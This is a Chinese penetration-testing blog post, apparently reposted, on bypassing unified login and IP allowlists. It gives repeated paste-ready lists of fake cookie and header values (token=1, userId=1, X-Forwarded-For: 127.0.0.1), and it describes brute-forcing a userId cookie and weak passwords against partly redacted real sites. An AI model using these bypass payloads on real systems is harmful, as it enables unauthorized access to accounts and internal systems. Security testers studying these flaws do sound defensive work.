原文作者:pmiaowu原文链接:https://www.yuque.com/pmiaowu/bomi9w/fgg2vg
0x01 前言
在实际渗透中,我们会经常遇到过那种访问 http://xx.xxx.com 这个资产,直接跳转到 http://sso.xxx.com
强制让我们进行登录,而我们往往会因为没有账号而被拦截到统一验证,无法对这些统一登录后面的资产进行渗透或是说,某个站点,我们就是找的到账号,但是就是找不到密码
更惨的就是账号密码通通没有
还有种可能就是,站点明明都在了,但是提示ip不对,无法访问
那么是否有一些测试方法可以试试的呢?
答案当然是有的!!!
0x02 例子
0x02.1 例子一 - 绕过统一验证登录框
例如现在打开: http://assets.xxxx.xxxx.xxx.cn/
从数据包可以看的到,普通输入它会直接经过多次跳转然后重定向 统一登录站点
例如上图最终跳转的地址就是: https://ids.xxxx.xxx.cn/authserver/login
但是显而易见,现在肯定是没账号密码的
于是想起了以前做开发的时候,设计统一登录链接各种站点的时候
判断是否登录,不会去真的获取登录信息,为了减少请求压力,都是判断数据包某个值是否存在
存在就认为它已经登录过统一登录,后面是否真的能登录站点,就看站点自己处理
基于这个,我们也可以尝试在请求包中构造请求参数,尝试绕过
这情况可以这样
例如:
header头加:
Authorization: JWT 1
ticket: 1
token: 1
Cookie添加:
ticket=1;
Authorization=JWT 1;
token=1;
然后经过测试在 Cookie 里面添加 token=1; 是真实有效的,如下
站点: http://assets.xxxx.xxxx.xxx.cn/Xxxx/login
然后不就绕过统一认证了,那么不就超越大部分其它渗透人员的进度了么,接着就是很简单爆破之类的了
然后正常挖掘漏洞就好了
例如这个时候再去挖挖弱口令, 点忘记密码
然后获取到了就各种账号了
001019
001020
001021
类似这样爆破一下
接着在试试弱口令试到了
密码: 123456
这样就简单进入了系统,接着我们在去测试其他漏洞,这样子起点就比其他安全人员要更远一些了
0x02.2 例子二 - cookie登录的妙用
在有的时候,我们实在是找不到账号与密码,同时站点也不能爆破那么就可以试试这种方法
不一定每个站点都好用,但是遇到了就会很舒服,那就是在cookie 与 header 上面添加以下这些
例如:
header头加:
Authorization: JWT 1
ticket: 1
token: 1
Cookie添加:
ticket=1;
Authorization=JWT 1;
token=1;
user=1;
userId=1;
UserId=1;
admin=1;
adminId=1;
adminid=1;
AdminId=1;
Adminid=1;
xh=1;
xuehao=1;
gh=1;
gonghao=1;
username=1;
结果就有一个站点触发了 cookie 里面的 userId=1;
那个时候一直提示用户不存在,自动退出,通过查看burp数据包,加爆破 cookie 里面的 userId
终于到 userId=6688; 的时候,登录成功了
0x02.3 例子三 - 伪造客户端IP
仔细想想,我们在渗透的过程中,是不是偶而会遇到一种情况,那就是
输入熟悉的后台, 直接提示 xxx不在白名单ip, 禁止访问后台
遇到这种情况了, 我们也是可以实际的去绕过试试的
例如给 header 添加一个 X-Forwarded-For
例子如下:
那么遇到这种情况是不是就瞬间感觉很绝忘,但是实际上,大可不必如此
还可以尝试一下伪造客户端ip进行绕过,例如下图:
是实战中,遇到这种情况我是建议加个header头试试的
毕竟有的时候,就是这么简单且朴实无华,就可以达到我们想要效果
header头加:
X-Forwarded-For: 10.10.10.10
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
X-Real-IP: 192.168.1.1
0x03 总结
总的来说,很多情况下,开发为了性能或是方便或是安全意识低下时,经常会犯各种奇怪的错误
所以这里也是推荐大家,在使用burp的时候可以多添加一些这个cookie,反正加了也不碍事,但是遇到了就很香
header头加:
Authorization: JWT 1
ticket: 1
token: 1
Cookie添加:
ticket=1;
Authorization=JWT 1;
token=1;
user=1;
userId=1;
UserId=1;
admin=1;
adminId=1;
adminid=1;
AdminId=1;
Adminid=1;
xh=1;
xuehao=1;
gh=1;
gonghao=1;
username=1;
header头加:
X-Forwarded-For: 10.10.10.10
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
X-Real-IP: 192.168.1.1
burp添加自定义头的方法
然后就是等待有一天出结果即可 :)
师傅们点赞、转发、在看就是最大的支持
还没有评论,来说两句吧...